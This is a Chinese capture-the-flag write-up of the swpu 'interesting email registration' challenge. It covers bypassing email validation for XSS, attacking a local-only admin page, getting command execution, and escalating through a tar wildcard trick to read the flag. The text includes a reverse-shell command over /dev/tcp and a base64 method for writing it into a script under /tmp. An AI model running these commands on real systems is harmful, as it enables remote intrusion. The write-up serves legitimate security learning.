Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

swpu ctf 有趣的邮箱注册 详细题解

$
0
0

swpu ctf 有趣的邮箱注册 详细题解

不得不说,swpu的师傅们出题还是很用心的,这道题目就很不错,既有前端xss,又有后端提权,可谓是非常全面了,下面我们就简单分析一下

题目地址为: http://118.89.56.208:6324

邮箱验证

首先打开题目,发现功能只有两个,一个是验证邮箱,另一个是管理后台,但是管理后台需要本地,那突破点就在邮箱验证了。


swpu ctf 有趣的邮箱注册 详细题解

尝试提交邮箱,发现了代码泄露,给出了过滤方式:


swpu ctf 有趣的邮箱注册 详细题解

于是开始尝试在email处尝试xss,经过google,发现了几种绕过,尝试了一下,发现只要使用 "poc"@qq.com 类似的方法,就可以绕过过滤,然后构造xss的payload如下:


swpu ctf 有趣的邮箱注册 详细题解

可以收到请求.


swpu ctf 有趣的邮箱注册 详细题解
攻击local web

既然有了xss,我们首先读一下admin页面源码:

js构造如下:


swpu ctf 有趣的邮箱注册 详细题解

然后收到请求,解码如下:


swpu ctf 有趣的邮箱注册 详细题解

在页面中,发现了疑似命令执行的页面,尝试构造请求:


swpu ctf 有趣的邮箱注册 详细题解

很快收到了结果:


swpu ctf 有趣的邮箱注册 详细题解

但是一直这么请求,执行命令很麻烦,不如反弹个shell

反弹shell

这里直接用命令弹shell是很难成功的,因为有多重编码要考虑,因此采用写sh文件,然后执行sh文件弹shell的办法:

首先使用的写文件的技巧就是,base64

echo 'bHM=' | base64 -d > /tmp/xjb.sh

这个办法能很好的绕过很多编码,同理我们只要将 /bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1 编码一下,然后放到上面的命令中,就可以成功将反弹shell的命令写入到文件中。

然后执行:

/bin/bash /tmp/xjb.sh

就可以成功弹到shell。


swpu ctf 有趣的邮箱注册 详细题解
flag读取不了?

我们查看了一下flag,发现我们并没有办法读取,没有权限,只有flag用户才能读。

继续翻发现了一个新目录:


swpu ctf 有趣的邮箱注册 详细题解

进入以后,发现了一个新的web应用,看下权限:


swpu ctf 有趣的邮箱注册 详细题解

只有backup.php 可以看,代码如下:


swpu ctf 有趣的邮箱注册 详细题解

访问目录发现有上传和备份的功能,备份代码给出了。

分析思路

既然现在我们没有办法直接读取flag,那就只能让flag用户或者高权限用户帮我们读了,看了看这个tar命令,总觉得不对,在搜索中发现利用tar来提权执行脚本的操作,具体文章戳 这里 .

正如文章中讲到,使用tar命令可以配合执行自定义脚本,那这个看似没有可控点的命令执行,就变得可以利用了:


swpu ctf 有趣的邮箱注册 详细题解

攻击思路整理如下:


swpu ctf 有趣的邮箱注册 详细题解
制作上传恶意文件

使用文章中的命令,制作恶意文件名的文件:


swpu ctf 有趣的邮箱注册 详细题解

其中1.sh 的内容是:


swpu ctf 有趣的邮箱注册 详细题解
备份触发bash脚本,获取flag

只要访问backup.php ,即可成功触发漏洞,获取flag


swpu ctf 有趣的邮箱注册 详细题解
swpu ctf 有趣的邮箱注册 详细题解
后记

题目做完,思路可以总结为 bypass FILTER_VALIDATE_EMAIL然后xss,攻击只有本地才能访问的local web应用,从而拿到机器shell,然后继续攻击内网web题目,使用tar提权查看flag,确实学到了不少东西,如果有别的思路可以同样交流探讨。


Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images